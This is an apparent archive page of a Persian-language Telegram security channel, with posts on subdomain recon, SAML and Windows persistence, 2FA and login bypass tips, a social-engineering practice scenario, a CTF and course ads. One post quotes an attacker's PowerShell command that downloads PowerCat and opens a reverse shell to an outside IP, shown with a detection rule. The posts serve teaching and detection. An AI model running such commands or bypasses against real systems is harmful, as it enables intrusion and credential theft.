¡No caigas en manos de tramposos! Telemetrio encuentra y marca estos canales 👉 Si quieres ver la etiqueta, suscríbete

TryHackBox

Ir al canal en Telegram

Other Channels : https://youtube.com/@tryhackbox @TryHackBox ( Official Channel ) @TryHackBoxStory ( Story Hacking ) @LibrarySecOfficial ( Resources CyberSec ) @PfkCTF ( Writeup CTF )

Irán88 937 Tecnologías y Aplicaciones30 723

2 083

Suscriptores

-124 horas

+47 días

+3430 días

Visitas de la publicación

~ 7324 horas

Sin datos48 horas

2.31%

Tasa de compromiso

~ 1

Mensajes por día

Ads index

beta

Archivo de publicaciones

2 083

Repost from Try Hack Box

🔍 Enum Subdomain از Wayback با Bash می‌خوای subdomainهای پنهان archived در طول زمان رو کشف کنی؟ این function bash مفید subdomainها رو از Wayback Machine میکشه و به recon عمیق کمک میکنه. ➕ این رو به ~/.bashrcت اضافه کن:

function wayback() {
  curl -sk "http://web.archive.org/cdx/search/cdx?url=*.$1&output=txt&fl=original&collapse=urlkey&page=" | awk -F/ '{gsub(/:.*/, "", $3); print $3}' | sort -u
}

🧪 استفاده:

wayback target.com

این subdomainها رو از URLهای archived فیلتر میکنه و unique سورت میکنه.

کدوم subdomain قدیمی رو با wayback function شکار کردی که vuln جدیدی باز کرد؟ تجربت رو کامنت کن،

@TryHackBox #باگ_بانتی

2 083

Repost from Try Hack Box

📌 SAML SECURITY SERIES | PART 01 اSAML؛ وقتی یک Login ساده، پای XML وسط می آید! اگر تا حالا با SSO کار کرده باشید، احتمالاً اسم SAML به گوشتون خورده. اSAML یا Security Assertion Markup Language یکی از فناوری‌ هایی هست که برای Authentication و پیاده‌ سازی SSO استفاده میشه. اما یک نکته جالب وجود داره: اSAML به‌شدت به XML وابسته است؛ و همین XML میتونه بخشی از سطح حمله رو تشکیل بده. در یک SAML Implementation، مشکلات مختلفی ممکنه به وجود بیان؛ از اشتباه در بررسی Signature گرفته تا Replay شدن Assertion یا حتی مشکلات مربوط به XML Processing. چند مورد مهمی که باید بشناسیم: 🔹 Signature Wrapping (XSW) 🔹 XML Attacks 🔹 SAML Message Integrity Abuse 🔹 Missing / Invalid Signature 🔹 SAML Message Replay 🔹 CSRF 🔹 XML Comment Handling 🔹 XSLT 🔹 Token Recipient Confusion اما قرار نیست همه اینها رو یکجا بررسی کنیم. در این سری، یکی‌ یکی سراغشون میریم و از دید یک Security Tester بررسی میکنیم که هرکدوم چه مفهومی دارن و چرا باید موقع بررسی SAML بهشون توجه کرد. 🎯 یک سؤال برای شروع: اگر بخواید یک SAML Implementation رو بررسی کنید، حدس می‌ زنید اولین چیزی که ارزش بررسی داره کدومه؟ Signature؟ XML Processing؟ Replay؟ یا ‌....؟ دلیل انتخابتون رو هم بنویسید. 👇 @TRYHACKBOX #امنیت_سایبری #تست_نفوذ

2 083

Repost from Try Hack Box

🎯 چلنچ فرض کنید یک Registry Run Key ناشناس پیدا کردید. قبل از اینکه بگید «این Malicious هست»، اولین چیزی که بررسی میکنید چیه؟ 📌 File Path 📌 Parent Process 📌 Creation Time 📌 User Context

یکی رو انتخاب کنید و بگید چرا اول سراغ اون میرید؟ کامنت کنید

2/2 @TryHackBox #CyberSecurity #Persistence #Windows #Registry #RedTeam

2 083

Repost from Try Hack Box

از دید یک Blue Team، فقط نباید بپرسیم: «آیا Persistence وجود داره؟» باید بپرسیم: «این مکانیزم چرا ایجاد شده؟ چه چیزی اون رو ایجاد کرده و چه چیزی باعث اجرای اون میشه؟» 🎯 حالا یک سؤال: اگر در یک Authorized Security Assessment متوجه بشید یک سیستم بعد از Reboot همچنان دسترسی مهاجم رو حفظ کرده، اولین جایی که سراغش میرید کجاست؟ Registry؟ Scheduled Task؟ Service؟ WMI؟

دلیل انتخابتون رو هم بنویسید. 👇

2/2 @TryHackBox #TryHackBox #CyberSecurity #Persistence #RedTeam #WindowsSecurity

2 083

Repost from Try Hack Box

🛡️ PERSISTENCE SERIES | PART 1 خب Persistence یعنی چی؟ فرض کنید مهاجم بعد از Initial Access تونسته وارد یک سیستم بشه. خب، حالا اگر سیستم Reboot بشه چی؟ اگر Session بسته بشه؟ اگر Process مربوط به دسترسی از بین بره؟ اینجاست که Persistence اهمیت پیدا میکنه. اگه به زبان ساده بگم Persistence یعنی مهاجم راهی ایجاد کنه که بعد از از دست رفتن دسترسی اولیه، بتونه دوباره به سیستم یا محیط موردنظرش دسترسی پیدا کنه. در Windows، مکانیزم‌ های مختلفی میتونن در این زمینه مورد بررسی قرار بگیرن. مثل: 🔹 Registry Run Keys 🔹 Scheduled Tasks 🔹 Windows Services 🔹 WMI Event Subscriptions اما یک نکته مهم وجود داره: ا Persistence همیشه یک فایل عجیب‌وغریب یا یک رفتار کاملاً مشخص نیست. گاهی یک Configuration، یک Task یا حتی یک Service میتونه کاملاً عادی به نظر برسه. چیزی که اون رو مشکوک میکنه، معمولاً Context و رفتاریه که در اطرافش اتفاق می‌ افته. ⚠️ این مطالب صرفاً برای آموزش و Authorized Security Assessments است. 1/2 @TryHackBox #TryHackBox #CyberSecurity #Persistence #RedTeam #WindowsSecurity

2 083

دوستان بخاطر شرایط ناپایدار مجبورا و ناخواسته مجبور شدیم یک کانال توی بله بالا بیاریم ، برای اینکه از آموزش و خرید کتابهای جدید جا نمونید اگه این بله دارید ما را دنبال کنید فعلا فعالیت همینجاست ولی از جایی که شرایط کشور معلوم نیست چی به چیه اجتمال قطعی اینترنت هست . کانال ما در بله https://ble.ir/TryHackBox

2 083

Repost from Try Hack Box

دورک های مفید برای باگ هانترها که می‌توانند از آنها برای پیدا کردن اطلاعات حساس استفاده کنند: 👇🏻 📌 در: https://lnkd.in/p/dF-jW4mR

اگر این نوع محتوا برای شما مفید است، با دنبال کردن صفحه LinkedIn TryHackBox و حمایت از طریق لایک و اشتراک‌گذاری، به رشد این مسیر کمک کنید.

@TryHackBox #باگ_بانتی

2 083

Repost from Try Hack Box

چه پسوردهای ناامنی را استفاده کرده‌اید یا از همکارانتان شنیده‌اید؟ در قسمت نظرات به اشتراک بگذارید 👇

هدف فقط افزایش آگاهی امنیتی است

2 083

Repost from Try Hack Box

🔥 نکته‌ای برای باگ بانتی: بایپس احراز هویت بسیاری از توسعه‌ دهندگان بر روی محافظت‌ های پیچیده در قسمت جلویی (فرانت‌اند) تمرکز می‌کنند، در حالی که قسمت پشتی (بک‌اند) را کاملاً باز می‌ گذارند. بررسی‌ های سریع که نتیجه‌ بخش هستند:

1. دسترسی مستقیم به بخش مدیریت تلاش کنید تا به آدرس‌ های /admin ، /dashboard، /panel، /cp بدون ورود به سیستم دسترسی پیدا کنید. اغلب، هیچ تغییر مسیری (redirect) یا بررسی احراز هویت مناسبی وجود ندارد. 2. بایپس احراز هویت دو مرحله‌ای (2FA) - با تغییر درخواست، مرحله‌ی 2FA را دور بزنید (پارامتر 2fa را حذف کنید یا آن را روی true تنظیم کنید). - پس از اولین مرحله‌ی موفق، درخواست ورود به سیستم را دوباره ارسال کنید. - سعی کنید از پارامترهایی مانند ?bypass=1 یا پارامترهای پنهان مشابه استفاده کنید. 3. افشای توکن بازنشانی رمز عبور بررسی کنید که آیا توکن بازنشانی رمز عبور در پاسخ JSON، کد منبع صفحه یا ایمیل تأییدیه قبل از کلیک کاربر بر روی لینک، نمایش داده می‌شود یا خیر. نکته‌ی مهم: این باگ‌ های "ساده" بسیار رایج‌ تر از اکسپلویت‌ های پیچیده هستند و اغلب منجر به آسیب‌پذیری‌ های حیاتی و بانتی های خوبی می‌ شوند.

آنها را در ابتدای هر برنامه تست کنید. علاقه خود را به این پست ها با 🔥 نشان دهید. @TryHackBox #باگ_بانتی

2 083

Repost from Try Hack Box

🛡️ا : AMSI Bypass و چالش‌های اجرای PowerShell در محیط‌های ویندوزی یکی از چالش‌ های مهم در محیط‌ های Windows، درک مکانیزم‌ های دفاعی مانند AMSI (Antimalware Scan Interface) و سیاست‌های اجرایی PowerShell است. در این پست بررسی کردیم: 🔹 ا : AMSI چیست و چرا بسیاری از تکنیک‌ها و ابزارها بدون در نظر گرفتن آن شناسایی می‌شوند؟ 🔹 مهاجمان چگونه با محدودیت‌های امنیتی PowerShell مواجه می‌شوند؟ 🔹 روش‌های رایج بررسی و عبور از مکانیزم‌های دفاعی 🔹 نکات مهم اجرایی و همچنین دیدگاه‌های دفاعی برای شناسایی و مقابله 📌 مطالعه کامل در: https://lnkd.in/p/ds-fzfjj

اگر این نوع محتوا برای شما مفید است، با دنبال کردن صفحه LinkedIn TryHackBox و حمایت از طریق لایک و اشتراک‌گذاری، به رشد این مسیر کمک کنید.

منتظر مطالب تخصصی‌ تر، تحقیقات امنیتی، پادکست‌ ها و محتوای آموزشی جدید باشید. #TryHackBox #CyberSecurity #PowerShell #AMSI #RedTeam #WindowsSecurity #InfoSec

2 083

Repost from Try Hack Box

TryHackBox #CTF #1 سطح : خیلی آسان یه چالش امنیت سایبری آماده کردیم! دو فایل زیر رو دانلود کنید و فلگ رو پیدا کنید 👇

/ TryHackBox CTF 1.Zip | | __ tryhackbox_challenge.png |_ _ challenge.zip

راهنمای چالش:

۱. فایل challenge.zip رمزدار هست. ۲. رمز داخل فایل tryhackbox_challenge.png هست دقت کنید که همه‌ چیز تو یه عکس همیشه فقط ظاهرش نیست . ۳. وقتی زیپ رو باز کردید، داخلش یه متن هست که هنوز فلگ نهایی نیست یه مرحله دیکد دیگه لازمه.

فرمت فلگ:

TryHackBox{...}

ارسال فلگ به : @Unique_exploitbot #CTF #TryHackBox #CyberSecurity @TryHackBox

2 083

Repost from Try Hack Box

⭕ سری چالش های SE : هک انسان 1/20 📌 چالش : "تماس IT پشتیبانی" سناریو:

شما درحال مهندسی اجتماعی هستید و هدفتون دسترسی به اطلاعات داخلی یک شرکت فرضی به نام "Datanova" هست. شما به عنوان یک "کارمند پشتیبانی IT" با خانم/آقای میترا شاهینی، منشی بخش مالی، تماس می‌گیرید. 📌 هدف: گرفتن یوزرنیم و ریست پسورد ایمیلش (بدون اینکه شک کنه). 📓 اطلاعات از پیش: ◾ شما اسم مدیرش (سهراب فریدونی) رو از لینکدین پیدا کردید. ◾ می‌دونید شرکت هفته پیش یک آپدیت سیستمی داشته. ◾میترا معمولاً ساعت ۹ صبح سرکاره.

 ❓ سوال:

> شما چه دیالوگ و استراتژی‌ ای برای این تماس استفاده می‌ کنید تا میترا بهتون اعتماد کنه؟ (متن دقیق مکالمه یا حداقل ۳-۴ تاکتیکی که به کار می‌برید رو تو کامنت بنویسید).

⚠️ این چلنج فقط برای آموزش تشخیص و دفاع در برابر مهندسی اجتماعیه، نه اجرای واقعی روی افراد یا سازمانهای واقعی @TryHackBox #مهندسی_اجتماعی

2 083

Repost from Try Hack Box

🧩 گاهی اوقات، مجرمان سایبری تمایل دارند که دستگیر شوند. بیایید یک مثال دیگر و ابزاری را بررسی کنیم که من کمتر در حملات واقعی با آن مواجه شده‌ام. 🔖 طبق این گزارش، مهاجم از PowerShell برای دانلود و اجرای PowerCat استفاده کرده است ◾ یک ابزار متن‌باز، مشابه Netcat، برای اجرای یک شل معکوس:

powershell.exe -c IEX (New-Object System.Net.WebClient).DownloadString (‘hxxps://raw[.]githubusercontent[.]com/besimorhino/powercat/master/powercat.ps1’); powercat -c 154.17.26[.]41 -p 8080 -e cmd

همانطور که متوجه شدید، مهاجم نام ابزار را تغییر نداده است. و در بسیاری از موارد، این یک رویه رایج است. همین موضوع در مورد مخازن نیز صدق می‌کند. مجرمان اغلب از PowerShell برای دانلود ابزارها از منابع رسمی استفاده می‌ کنند. بنابراین، این یک نکته مهم دیگر است که باید مستند شود و در هنگام جستجوی فعال و ایجاد منطق تشخیص، در نظر گرفته شود، به عنوان مثال:

event_type: "processcreatewin"

AND

cmdline: "powercat"

فراموش نکنید که بلوک‌ های اسکریپت نیز حاوی خطوط و توابع جالب زیادی هستند، فقط خود اسکریپت را بررسی کنید. اگر از این دست پست ها را دوست دارید علاقه خود را با 🔥نشان دهید. @TryHackBox @TryHackBoxofficial @AiTHB @RadioZeroPod

2 083

Repost from Try Hack Box

اگر در حوزه امنیت اطلاعات فعالیت می‌ کنید، چه سهمی از زندگی‌ تان صرف کار و کسب درآمد از مهارت‌ هایتان می‌شود؟ شما چطور بین کار و زندگی تعادل برقرار می‌کنید؟ چه کارهایی انجام میدهید تا از فشار کاری فاصله بگیرید، ذهنتان را ریکاوری کنید و دوباره با انرژی برگردید؟ تجربه‌ها و ترفندهایتان را با بقیه به اشتراک بگذارید.

2 083

🎙️رادیو زیر پاد - Zero Talk | گفتگوهایی از جنس تجربه 📌 امنیت فقط یاد گرفتن ابزارها و خوندن کتابها نیست. 📌 گاهی یک گفت‌وگو با کسی که این مسیر رو از نزدیک تجربه کرده، میتونه چیزهایی بهت یاد بده که توی هیچ دوره‌ای پیدا نمیکنی. 📌 در Zero Talk درباره مسیر ورود به دنیای امنیت، تجربه‌های واقعی، چالشهای کاری، اشتباهات و چیزهایی صحبت میکنیم که معمولاً کمتر درباره‌شون حرف زده میشه. ⭕ تا امروز ۱۴ قسمت از این گفتگوها منتشر شده. 🎧 شاید بعضی از جواب‌هایی که دنبالشون هستی، توی یکی از همین گفتگوها باشه. 📌 در RadioZeroPod درباره موضوعات مختلف دنیای امنیت صحبت میکنیم؛ از داستان هکرها و پرونده‌های واقعی گرفته تا OSINT، مهندسی اجتماعی،حریم خصوصی، تهدیدات سایبری، هوش مصنوعی و موارد دیگه ... . 📌 رادیو زیرو پاد رو از دست نده. ⚠️ این کانال خصوصی میباشد و عضویت محدود می باشد ! لینک کانال برای 100 نفر https://t.me/+Iz9yL_49F1YzYmFk https://t.me/+Iz9yL_49F1YzYmFk https://t.me/+Iz9yL_49F1YzYmFk

2 083

https://t.me/+XPV3S0tygl1lZGE0

2 083

Repost from Try Hack Box

📌 THB-WP101 | Web Penetration Testing Fundamentals بسیاری از افرادی که وارد حوزه‌ی Web Penetration Testing میشوند، مسیر خود را با تماشای چند ویدئوی آموزشی و استفاده از Payloadهای آماده آغاز می‌کنند. این نقطه‌ی شروع به‌ خودی‌ خود ایرادی ندارد؛ چالش اصلی زمانی بروز میکند که فرد با یک Web Application واقعی مواجه میشود و نمی‌ داند فرآیند بررسی را از کجا آغاز کند، چه مواردی را باید ارزیابی کند، و گام بعدی چیست. دوره‌ی THB-WP101 دقیقاً با هدف پوشش همین شکاف طراحی شده است. روش آموزش آموزش هر مبحث در سه مرحله انجام می‌شود: ارائه‌ی مفهوم، بررسی آن در قالب مثال عملی، و در نهایت تمرینی که دانشجو باید به‌طور مستقل حل کند.

Concept → Demo → Practice → Challenge

مسیر کلی دوره نیز بر اساس فرآیند واقعی تست نفوذ تعریف شده است:

Recon → Enumeration → Attack Surface → Testing → Exploitation → Chaining → Impact → Reporting

۱۰ ماژول | ۴۰ تا ۵۰ ساعت | ۸۰ تا ۹۰ درصد عملی

1️⃣ Web Pentesting Fundamentals (HTTP، Session، Methodology، Scope) 2️⃣ Reconnaissance & Attack Surface Mapping 3️⃣ Web Enumeration & Burp Suite (Proxy، Repeater، Intruder، Decoder) 4️⃣ Authentication & Session Attacks 5️⃣ Access Control & IDOR 6️⃣ Input Validation & Injection (SQLi، Command Injection، SSTI) 7️⃣ XSS & Client-Side Attacks 8️⃣ File, Path & Server-Side Attacks (LFI/RFI، XXE، SSRF) 9️⃣ API & Modern Web Testing (JWT، GraphQL، BOLA) 🔟 Chaining, Exploitation & Reporting

مخاطب این دوره این دوره برای افرادی طراحی شده است که قصد دارند وارد حوزه‌ی Web Penetration Testing به‌صورت اصولی شوند، علاقه‌مندان به Bug Bounty، دانشجویان حوزه‌ی Cybersecurity، و افرادی که با مفاهیم پایه‌ی Linux و Networking آشنایی دارند. ⚠️ لازم به ذکر است این دوره برای افرادی که صرفاً به‌ دنبال فهرستی از ابزارها و Payloadهای آماده هستند مناسب نیست. هدف دوره، توانمندسازی دانشجو در تحلیل مستقل یک Web Application جدید با رویکرد یک متخصص تست نفوذ است. 🎓 مدرس: مهندس محمد طاهری 🗓 تاریخ شروع: ۱ مهر ۱۴۰۵ 💻 نحوه‌ی برگزاری: آنلاین 🎓 سطح: مقدماتی 💰 ارزش دوره: ۵,۹۰۰,۰۰۰ تومان 💰 قیمت استاندارد: ۳,۹۸۹,۰۰۰ تومان 📦 این دوره شامل نسخه‌ی آفلاین کامل و عضویت در گروه پشتیبانی است. 🎥 ویدئوی معرفی 📚 سرفصل‌ ها 📄 توضیحات تکمیلی 🔥 شیوه‌ ی یادگیری 👤 لینکدین مدرس بخش های از کلاس به عنوان نمونه تدریس : بخش اول | بخش دوم | اطلاعات بیشتر 📌 جهت ثبت‌نام یا کسب اطلاعات بیشتر: @ThbxSupport @TryHackBox

2 083

Cybersecurity-Skills-Roadmap-0526.pdf0.64 KB

2 083

Repost from Try Hack Box

📚 مجموعه کتابهای کاربردی در دنیای امنیت 📚 تخفیف ویژه کتابهای TryHackBox به مناسبت زادروز کمبوجیه، پسر کوروش بزرگ،کتابهای TryHackBox با ۲۰٪ تخفیف ارائه میشوند. 🔥 📖 کتابچه "Mimikatz: تسلط عملی بر تکنیک‌های پیشرفته حملات Active Directory" از مقدماتی تا پیشرفته. 📕 جزئیات بیشتر کتاب 💰 ~~قیمت : ۲۵۰,۰۰۰ تومان~~ 💰 قیمت : ۲۰۰,۰۰۰ تومان ⭕ آخرین تخفیف 📖 وایرشارک برای ردتیمرها: از پایه تا پیشرفته 📕 جزئیات بیشتر کتاب 💰 ~~قیمت : ۲۵۰,۰۰۰ تومان~~ 💰 قیمت : ۲۰۰,۰۰۰ تومان ⭕ آخرین تخفیف 📖 شکار عملی باگ بانتی : از Recon تا Bounty واقعی : متدولوژی و شناسایی و آسیب پذیری های دنیای واقعی 📕 جزئیات بیشتر کتاب 💰 ~~قیمت : ۳۶۰,۰۰۰ تومان~~ 💰 قیمت : ۲۸۸,۰۰۰ تومان 📖 کتابچه Kerberos For Pentesters 📕 جزئیات بیشتر کتاب 💰 ~~قیمت : ۲۶۹,۰۰۰ تومان~~ 💰 قیمت : ۲۱۵,۰۰۰ تومان 🔥 فقط به مدت ۲۴ ساعت : ۲۰٪ تخفیف روی تمام کتابهای TryHackBox 📌 جهت خرید به ایدی زیر پیام دهید: @THBxSupport ➖➖➖➖➖➖➖ کانال های ما : @TryHackBox @TryHackBoxOfficial @AiTHB @RadioZeroPod

2 083

Repost from Try Hack Box

📌 بخشی از دوره Web Penetration Testing Fundamentals ⭕ در این بخش میبینید چگونه یک گزارش حرفه‌ای تست نفوذ تهیه کنیم، یافته‌ ها و ریسک‌ ها رو مستند کنیم و نتیجه تست رو به‌صورت استاندارد به کارفرما ارائه بدیم. همچنین توضیح داده میشه برای دریافت مدرک دوره در پایان دوره چه مراحلی رو باید طی کنید و چه مواردی در ارزیابی نهایی بررسی میشه. ⭕ دوستان، تصمیم گرفتیم بخشی از محتوای دوره رو به‌ صورت رایگان در اختیار شما قرار بدیم تا قبل از ثبت‌نام، با سبک آموزش و فضای دوره بیشتر آشنا بشید. ⏳ اگر مدت‌ هاست میخواید یادگیری Web Pentesting رو جدی شروع کنید، این فرصت رو از دست ندید. 📚 برای مشاهده سرفصل‌ ها، جزئیات دوره و ثبت‌نام، به اینجا مراجعه کنید. 📩 برای ثبت‌ نام یا دریافت اطلاعات بیشتر: 🆔 @ThbxSupport @TryHackBox